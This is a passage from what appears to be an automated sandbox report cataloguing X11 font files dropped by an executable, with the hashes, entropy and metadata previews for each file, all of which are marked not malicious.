Preview:	.fcp............................d...4...............................d... ........F..,...@...........<F..........4#...R..........d...Hu...............................$....0...7....=...?....M...T....c...d........o........z....K........K..................................................................................................2...&....2...6....@...J....O.................g..............FOUNDRY.Adobe.FAMILY_NAME.Helvetica.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Helvetica.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. ._DEC_DEVICE_FONTNAMES.PS=Helvetica.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Helvetica.FONT.-Adobe-Helvetica-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\micro.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	6624
Entropy (8bit):	3.4735775150177064
Encrypted:	false
SSDEEP:	48:kCgyYMBdnSw1rDOg009cuoooDaUlhHHggdfnPVtVDntW6+o88Hx:kuYMB9SwiAgnPVDY6+IR
MD5:	62A1E84C973D82DC540AED7F32536F9B
SHA1:	C10207FD814CA1A926C69C31836A3366A793BB2C
SHA-256:	064218647D132980A1558EC868390986F48AC57C08237DEE79E1E9B92451B765
SHA-512:	9BBEA60421237D31D1BD484F7C96A656A6DB5C0D98A006ED0F9745F5E7FE92F812BABD93B124033903C2DC73718B59056510B4790B03137E513F74CE9D569899
Malicious:	false
Preview:	.fcp............................d...................................l................... ...............@.......................t...$...........d...........................0....(...;....@...F........M....g...X....K...e....K...r........{............COPYRIGHT.Public domain font. Share and enjoy..POINT_SIZE.FONT.micro.WEIGHT.RESOLUTION.RESOLUTION_X.RESOLUTION_Y.X_HEIGHT.QUAD_WIDTH...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\nil2.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	9168
Entropy (8bit):	3.738915393660781
Encrypted:	false
SSDEEP:	192:GBeSTIurSaCKy6iqSamtKy6jBtIFgTnm6+R4j0:GArZPPPPPP76m6+t
MD5:	AC392125441CEB845114345D29A4047A
SHA1:	93BCD9ABF775334ACA72BC92B69DE28EA6B80661
SHA-256:	31587D0675325C793208D31A6FCA612DDC400CE58A885392B0EF7C2A3149655D
SHA-512:	2446515D56AB352802D6C6A391F352705764B00F1A95420E3D188D809796B9026329267A4839DB2098B4880A6EA129A37206D1FD2B2E8EE7CE370853F29E5D4C
Malicious:	false
Preview:	.fcp............,...............d...............h...(...........................h...(... ...............@.......................`...(...........d....#....................................)...0....6...8....F...M....\...]........h........s....K........K..................................................................:........A....g...L........U...........`FOUNDRY.Misc.FAMILY_NAME.Nil.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.Misc.CHARSET_ENCODING.FontSpecific.UNDERLINE_POSITION.DESTINATION.FONT.-misc-nil-medium-r-normal--2-20-75-75-c-10-misc-fontspecific.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH.....................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\olcursor.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	3076
Entropy (8bit):	4.179145886754601
Encrypted:	false
SSDEEP:	48:7fPHvjpxT3jsxNP51WC0me0R3EXHh9ru4x:7LpF34vRA+ih9ru+
MD5:	203B7579C38DC6017BDFE69C7197323A
SHA1:	AE50BB27D7C0AC899A5EEE1444AC7A8BD7DF66B3
SHA-256:	94F95B9F14A07CCBD0F468104D9D65C4A6969C79BE3F6458A7B38BECDDCAFC2F
SHA-512:	698CBFE14B5729C31661587166D03A16D3DD8C0A0325231F6CF8420492E49FA9B6DACAB2DB42E0FBEA2BA1C03773F917F5CC14090BB0DA93CE27E5D170B48D8E
Malicious:	false
Preview:	.fcp............,...............d...............................\....... .......H.......@.......p...D........... ...............d....................................0....8...<....H...I....W...X....^..._....n...o........z....x........K........K.........................................................:........A....k...L........U...........`FONTNAME_REGISTRY..FAMILY_NAME.OPEN LOOK cursor.FOUNDRY.Sun.WEIGHT_NAME..SETWIDTH_NAME..SLANT..ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.SunOLcursor.CHARSET_ENCODING.1.FACE_NAME.OLCursor.FONT.-Sun-OPEN LOOK cursor-----12-120-75-75-P-160-SunOLcursor-1.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH.........................................................................................................................................y....x............................................x....x....o....o....x....x....x....x....x....x...................@...............P...............\.......................H

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\olgl10.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	21296
Entropy (8bit):	4.134724096027841
Encrypted:	false
SSDEEP:	192:SqVmCAVmxsDl6kqh+ilRviiiiiiiiiBT1fg4+HSc7Q6GSra:SqVmC/xQ6kqVYJfg4era
MD5:	FEF3F819680E3EE6CE71F3353A5007DB
SHA1:	4F5D571A4997CFA5071FE595DD3BE147A81200C6
SHA-256:	057BACD9555D7DD7ACB612FA6BDF49F30045EB0B45CE221561F499F5D9900333
SHA-512:	F9A164A167D2A14464EA49A6C94DBCBBBEA3B8B45EB904896D8334EDEB694D46DB25EF5115E81FEF7E62289361A58E8BA20F89CD394269D844C31CB53612DA6F
Malicious:	false
Preview:	.fcp............(...............d...............................d2...... ............:..@............;..........\....?..........d....S.............................../....7...;....G...H....V...W....]...^....m...n........y....d........K........K.................e.......................................5........<....k...G........P...........[FONTNAME_REGISTRY..FAMILY_NAME.OPEN LOOK glyph.FOUNDRY.Sun.WEIGHT_NAME..SETWIDTH_NAME..SLANT..ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.SunOLglyph.CHARSET_ENCODING.1.FACE_NAME.OLGlyph.FONT.-Sun-OPEN LOOK glyph-----10-100-75-75-P-101-SunOLglyph-1.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH.....................)...................).)...)........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\olgl12.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	23028
Entropy (8bit):	4.147688558298967
Encrypted:	false
SSDEEP:	192:SpG5ZGfl2rQUgXBcw1qKEZNEPubp5EOLOD00YT6xgSbaTCLgZGTf42:SpG5abcwGKAF0aCLfTf42
MD5:	8FB3C562E4EDB9973C21C470BED33FA4
SHA1:	FC87853D2CAFF2051BBC7C7EE43A86A197919028
SHA-256:	04D4BDBF064B0E25337AC68A96F77FB2BBBDC3E6379E58D52C6CE6C95BEDBFBD
SHA-512:	ACA743CE54E390ABEB822A33DB9BCE89C5A1E711BF8BDBCEA89B950D1D0BF01FA7A6E71CC4E98402A24E29A1A21613274115F4320B188C4CB7D7C4DDAB6010D5
Malicious:	false
Preview:	.fcp............(...............d................................7...... ...........\|?..@...........`A...............E..........d....Y.............................../....7...;....G...H....V...W....]...^....m...n........y....x........K........K.................q.......................................5........<....c...G........P...........[FONTNAME_REGISTRY..FAMILY_NAME.OPEN LOOK glyph.FOUNDRY.Sun.WEIGHT_NAME..SETWIDTH_NAME..SLANT..ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.SunOLglyph.CHARSET_ENCODING.1.FACE_NAME.OLGlyph.FONT.-Sun-OPEN LOOK glyph-----12-120-75-75-P-113-SunOLglyph-1.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH...................../..................././.../........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\olgl14.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	24768
Entropy (8bit):	4.0429294125732875
Encrypted:	false
SSDEEP:	192:SYvH/qDxfqjtjwZhr+aJLZ4innjiiiiis6NRvhUHHSc7Q6Gzi:SYvH6fpj6QkhUN
MD5:	B2132204B39EB210D9AFCDE23EA36678
SHA1:	A5698052E891D02BD0AA9FCC7F6B49EBF9FCE496
SHA-256:	9475CA62FC91C5B05E16ADD432612329AF99B3E9553512EA0032F298B3E27D78
SHA-512:	9FCD82D91B2F938316FD674B70D154481584C956D0B2B8D566915DE8714E8A8F552A34B413CEF2AEE4559A19206BA6EB9295127251F70404FEE20E6EC90365B0
Malicious:	false
Preview:	.fcp............(...............d...............................t@...... ........... H..@............J...............M..........d....`.............................../....7...;....G...H....V...W....]...^....m...n........y.............K........K.........................................................5........<....k...G........P...........[FONTNAME_REGISTRY..FAMILY_NAME.OPEN LOOK glyph.FOUNDRY.Sun.WEIGHT_NAME..SETWIDTH_NAME..SLANT..ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.SunOLglyph.CHARSET_ENCODING.1.FACE_NAME.OLGlyph.FONT.-Sun-OPEN LOOK glyph-----14-140-75-75-P-128-SunOLglyph-1.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH.....................5...................5.5...5........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\olgl19.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	29612
Entropy (8bit):	3.8693431349720235
Encrypted:	false
SSDEEP:	192:Swk21qd6JgOGB+m+3UOwYSWv4QLjbQcyk45Rk5zlIkByBqAEH+WwXjHhzEYBSc7p:Swk2FgOL7LjbXyk405ekMzE65NP
MD5:	EDFE207D041E1840A9086B52E531F6AC
SHA1:	A96FDBA1BDEEB08BE7BB732D4D5A0117AD79DA0B
SHA-256:	98802F5CC96D90567B0DEE780FA34BF4EB80A3A064398844CF046AA752165F57
SHA-512:	C6CAED3091FE273F15224D246412B4C1DDBB89C55420F393092215BAAECC5F60EB5559FCD3070C31DEE57138121C0C0E5256F78946A1D9663BD91F99EA1737D9
Malicious:	false
Preview:	.fcp............(...............d................................S...... ...........4[..@............]...............`..........d...\|s.............................../....7...;....G...H....V...W....]...^....m...n........y.............K........K.........................................................5........<....k...G........P....!......[FONTNAME_REGISTRY..FAMILY_NAME.OPEN LOOK glyph.FOUNDRY.Sun.WEIGHT_NAME..SETWIDTH_NAME..SLANT..ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.SunOLglyph.CHARSET_ENCODING.1.FACE_NAME.OLGlyph.FONT.-Sun-OPEN LOOK glyph-----19-190-75-75-P-154-SunOLglyph-1.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH.....................A...................A.B...A........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\symb08.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	11304
Entropy (8bit):	4.229446930663176
Encrypted:	false
SSDEEP:	192:72vgUgwElF8k6lpufwhRYafmnVNbzx+6l4:dF8kOpuAYafmB+b
MD5:	74A95092C9B914C110E6C75279F68F80
SHA1:	35A74F6720BF28138AC61A5B7F17B3F0EAF9086B
SHA-256:	A20C198C8AFC86BB13A8A3E94C63C712F4072E9CE892FF231DFD7CC8D5AC9E4A
SHA-512:	8CD6D33371D634DE8623CB91AC128A7ACEC5E136CB49468593D56C69E66FD29065E677547CA9415CA253CE271FE6B05F865C094E007AF9AB0DB0834B3DB750B8
Malicious:	false
Preview:	.fcp............................d...0...........................\|...L... ...............@.......................h...."..........d....+...............................!....-...4....:...<....J...Q....`...a........l....P...w....K........K.................3.........................................................................................2........2...+....5...<....A.................g.............FOUNDRY.Adobe.FAMILY_NAME.Symbol.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.Adobe.CHARSET_ENCODING.FontSpecific.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Symbol.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.No mark._DEC_DEVICE_FONTNAMES.PS=Symbol._DEC_PRODUCTINFO.DECwindows Fonts V2.2-1, 18-Nov-1991.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Symbol.FONT.-Adobe-Symbol-Medium-R-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\symb10.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	12088
Entropy (8bit):	4.175512878372562
Encrypted:	false
SSDEEP:	192:lqB2vgUgZ0+mXmndEwhRYafmnVNbzx+6lU:oRm25YafmB+v
MD5:	FCFA7114631817920407BD66F2F31B0B
SHA1:	65DF7D4E16CA8E2F7F441A9570EF8FB975936D66
SHA-256:	2A5DF0F92D71C5F1F3E40529FA52FB1BEAB1B585A119A542CFBE409411E5C145
SHA-512:	3D78EF42B0DEAB2FFCD1A574C823E23165D1C66191DFF7C1A439EAA07917A54E12DD82F0AE3181D2074F65866C1968FD70C2BAB037794A850836D8F99D145D8F
Malicious:	false
Preview:	.fcp............................d...4...............................P... ............ ..@............"..........h....%..........d..../...............................!....-...4....:...<....J...Q....`...a........l....d...w....K........K.................=.........................................................................................2........2...+....5...<....A.................g.............FOUNDRY.Adobe.FAMILY_NAME.Symbol.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.Adobe.CHARSET_ENCODING.FontSpecific.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Symbol.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.No mark._DEC_DEVICE_FONTNAMES.PS=Symbol._DEC_PRODUCTINFO.DECwindows Fonts V2.2-1, 18-Nov-1991.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Symbol.FONT.-Adobe-Symbol-Medium-R-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\symb12.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	13264
Entropy (8bit):	4.099928451061307
Encrypted:	false
SSDEEP:	192:k2vgUgnivPv1BhKajwhRYafmnVNbzx+6lgl:hXN7kYafmB+hl
MD5:	BED584129C3CB4447A0D5B73BAFF25C9
SHA1:	8894F24302B188986F07B06F97F7174939DF3089
SHA-256:	08AE1D7318861944FB29038174CC3E82029E8AAD8745D496AD41064D18807313
SHA-512:	426C17AA0A7866D70E9237B3E5994794135303A62E79F91A945BEA6182E094FFCB284571E8FB0A2384F43E1382D5A6C015F107FB599BA86B5178B5DB1F94EE8F
Malicious:	false
Preview:	.fcp............................d...4........................... ...P... ...........p%..@...........<'..........h...8*..........d....3...............................!....-...4....:...<....J...Q....`...a........l....x...w....K........K.................J.........................................................................................2........2...+....5...<....A.................g.............FOUNDRY.Adobe.FAMILY_NAME.Symbol.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.Adobe.CHARSET_ENCODING.FontSpecific.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Symbol.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.No mark._DEC_DEVICE_FONTNAMES.PS=Symbol._DEC_PRODUCTINFO.DECwindows Fonts V2.2-1, 18-Nov-1991.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Symbol.FONT.-Adobe-Symbol-Medium-R-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\symb14.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	14276
Entropy (8bit):	4.037162769218052
Encrypted:	false
SSDEEP:	96:Tw/2vgUnC/3SGtc4aeEz6cSQ+4TlZSuohyqxgBanO8mm5uVBbn8mzx+6lX:k2vgUg3So2zK4whRYafmnVNbzx+6lX
MD5:	094CA6D2E7A232EE2AD30FA33F1C1F3B
SHA1:	DD93BA2B2360E30A0DF4B3223F9BCD2D2500FA70
SHA-256:	6F8B63C505A50916B21BE9A067E8E1BD9F9A095CC05E1AB3AF1BB2CD15F9E32E
SHA-512:	ACE97B4C59F9BA61B4FEE8956502B12BB71EFF15D55C1B8A08AED9B8AB9AB63A8D3830F3B29CE33EE22BC8A29E98175DF7E4F459E96A77B80ADF3DEE9C40588E
Malicious:	false
Preview:	.fcp............................d...4............................!..P... ...........d)..@...........0+..........h...,...........d....7...............................!....-...4....:...<....J...Q....`...a........l........w....K........K.................U.........................................................................................2........2...+....5...<....A.................g.............FOUNDRY.Adobe.FAMILY_NAME.Symbol.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.Adobe.CHARSET_ENCODING.FontSpecific.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Symbol.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.No mark._DEC_DEVICE_FONTNAMES.PS=Symbol._DEC_PRODUCTINFO.DECwindows Fonts V2.2-1, 18-Nov-1991.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Symbol.FONT.-Adobe-Symbol-Medium-R-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\symb18.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	16480
Entropy (8bit):	4.066462037195411
Encrypted:	false
SSDEEP:	192:P2vgUgqtX/RadoVlQy/LPwhRYafmnVNbzx+6lG:OvAoWyTQYafmB+F
MD5:	CAB38F32894612FF8DA7B56CE03C2FF4
SHA1:	D1D1225824EA5E62BA55E0F9D9EAC9A5A1CB533C
SHA-256:	2DCB07DC5032F7A875033424C5EC36CCF8FF99607E0C1ABBC28855C774CE4884
SHA-512:	FED26F3B0FE39966DCAF56E27E13A74412002C60AE3812AAB4A867D9BD198D27B2E18D475920435521F44ABC643328CC10C57B3A1BD45E4F88D0ADBB7DFD6EB1
Malicious:	false
Preview:	.fcp............................d...4............................)..P... ............2..@............3..........h....6..........d...0@...............................!....-...4....:...<....J...Q....`...a........l........w....K........K.................k.........................................................................................2........2...+....5...<....A.................g.............FOUNDRY.Adobe.FAMILY_NAME.Symbol.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.Adobe.CHARSET_ENCODING.FontSpecific.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Symbol.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.No mark._DEC_DEVICE_FONTNAMES.PS=Symbol._DEC_PRODUCTINFO.DECwindows Fonts V2.2-1, 18-Nov-1991.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Symbol.FONT.-Adobe-Symbol-Medium-R-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\symb24.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19520
Entropy (8bit):	4.052507461168154
Encrypted:	false
SSDEEP:	192:L2vgUgl4UiRD7b8ApCLypNYd4vzmCEJyzdJ9dC1cMhBRDlvwhRYafmnVNbzx+6ld:sUYCLqvKCEJyzdJ9QWc4YafmB+e
MD5:	B4D51065B7A81A9BF59D0F1D3535FA1F
SHA1:	AF26D09276A66D02E10AF25D0F86CA0E161074E3
SHA-256:	B6E1D95DA9CAB96F2DECF67981263876C65AAD9D249F937C17E75F09E44C8FAE
SHA-512:	76F64DBAEA3F8735D280D4233927B88CC926FCB894D6792D3222936BEF2220DFA6C9E27F2D84BE5A252318FD002FDBED8B53441BBD7A7A8C9AC5128E3F5F7320
Malicious:	false
Preview:	.fcp............................d...4............................5..P... ............=..@............?..........h....B..........d....L...............................!....-...4....:...<....J...Q....`...a........l........w....K........K...........................................................................................................2........2...+....5...<....A.................g.............FOUNDRY.Adobe.FAMILY_NAME.Symbol.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.P.AVERAGE_WIDTH.CHARSET_REGISTRY.Adobe.CHARSET_ENCODING.FontSpecific.CAP_HEIGHT.X_HEIGHT.FACE_NAME.Symbol.COPYRIGHT.Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved..NOTICE.No mark._DEC_DEVICE_FONTNAMES.PS=Symbol._DEC_PRODUCTINFO.DECwindows Fonts V2.2-1, 18-Nov-1991.RELATIVE_SETWIDTH.RELATIVE_WEIGHT.FULL_NAME.Symbol.FONT.-Adobe-Symbol-Medium-R-

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\tech14.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	17840
Entropy (8bit):	3.1374077440245154
Encrypted:	false
SSDEEP:	96:+Sh3u7vT/Ji/JOJJJJXJKiJJwKV/VXeVgF4Pou2RKm9Nyg0lZQzKyHJGZaL:+G3mRY8u2R/AZAKyHJMI
MD5:	81C9EA2EED2EB64E2DF41D831B085F78
SHA1:	E95AC9C3648C5279F69D0164474DC797FED4C843
SHA-256:	E8971DBB2958F3F9D32CD259EF2708D719F99255269E8A7B67FB5092AB9B19E9
SHA-512:	A8296BA366B58A9B32573455A13B152CBDCDA00BB8815957991C9094C4116EA2CE60F0BCE58FC70D39000C8635D928C769A320A24928366B1DD0B1E810C4EBD0
Malicious:	false
Preview:	.fcp............................d...\............................-..T................4.. ............8..@...........L:..........<...,=..........d...hE...............................!....-...4....:...<....J...Q....`...a........l........w....K........K.................P.......................................3....D...d....n..........................g.......................FOUNDRY.DEC.FAMILY_NAME.Terminal.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.DEC.CHARSET_ENCODING.DECtech.CAP_HEIGHT.COPYRIGHT.Copyright (c) 1991 Digital Equipment Corporation. All Rights Reserved.._DEC_PRODUCTINFO.DECterm Fonts V2.2, 11-Nov-1991.FULL_NAME.Terminal DECtech.FONT.-DEC-Terminal-Medium-R-Normal--14-140-75-75-C-80-DEC-DECtech.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH..............................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\techB14.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	17840
Entropy (8bit):	3.1722461665029
Encrypted:	false
SSDEEP:	96:+SSRCP7vT/Jmo/zyJJJXJJBJJwJJJYJJKrv3vlguu2RKm9N5Mp4lZQzKyHqZam:+fRCpmuv3vHu2R/2psZAKyHYf
MD5:	7FBA44224ADAECE5BBC0A02D08BF197C
SHA1:	46360763EF107C1B4A5AAA626A208C2BBE4F1ADB
SHA-256:	0355DEDCC7404C6B7A5449A3BA07CC1EC03A0E6D58B4279E4494730B78CC210D
SHA-512:	FC30421A9120357F8F47C3218CFEC349C6C1EBF9BD2D458F5508B3467CBF2C7878F34F899C17A33A6C795DA625AEA17A997EA477A1F9F9D96744E04EBBD541B5
Malicious:	false
Preview:	.fcp............................d...\............................-..T................4.. ............8..@...........L:..........<...,=..........d...hE...............................!....-...2....8...:....H...O....^..._........j........u....K........K.................P.......................................1....B...b....l..........................g.......................FOUNDRY.DEC.FAMILY_NAME.Terminal.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.DEC.CHARSET_ENCODING.DECtech.CAP_HEIGHT.COPYRIGHT.Copyright (c) 1991 Digital Equipment Corporation. All Rights Reserved.._DEC_PRODUCTINFO.DECterm Fonts V2.2, 11-Nov-1991.FULL_NAME.Terminal Bold Normal.FONT.-DEC-Terminal-Bold-R-Normal--14-140-75-75-C-80-DEC-DECtech.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH..............................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\tekfont0.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: LSB, byte: LSB first
Category:	dropped
Size (bytes):	12384
Entropy (8bit):	3.1684698119959123
Encrypted:	false
SSDEEP:	192:ktt+7Hcj00B6rj00320H0000XGJu00000H000000ll0000000B0000R00000001i:Mt+4h6lOiLt
MD5:	28B620D171D787B5A632426B89498627
SHA1:	2B536B943763DAF38AC598EA0753A3402E4E2B13
SHA-256:	62B42E2C112EA7E56A7EAAE851E10E72B436611236CBB833D34E475C495F301E
SHA-512:	E739DE41E789BD0E1D6CE61DE02E8E0BD1B6800F3084207314A44C100B3A336D850219678826593268D295B155695E1779529CFA2B3765B3D2DAC469FE95D26F
Malicious:	false
Preview:	.fcp............................d................................"...................&.. ...........t(..@...........D)..........L..............d....0..................................................7...<....H...R....W...`........g....g...r....K........K................CAP_HEIGHT.X_HEIGHT.PIXEL_SIZE.POINT_SIZE.FOUNDRY_NAME.misc.FAMILY_NAME.tektronix.FONT.tekfont0.WEIGHT.RESOLUTION.RESOLUTION_X.RESOLUTION_Y.QUAD_WIDTH..........................................................................................................`.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\tekfont1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: LSB, byte: LSB first
Category:	dropped
Size (bytes):	11616
Entropy (8bit):	3.1419823842628767
Encrypted:	false
SSDEEP:	96:Q7t19VWkmV8HBY7PJDH37VLgIDIDCm6T9UGAVaH5MSlwrrrrrrrrrrrrrrrrrrr0:ytPbM8HKPhBgyT9UEeSaK
MD5:	7F025293C8AF043D3B2F931A65270AEF
SHA1:	03F4015B9C404D46349377DED3676B745EF010BB
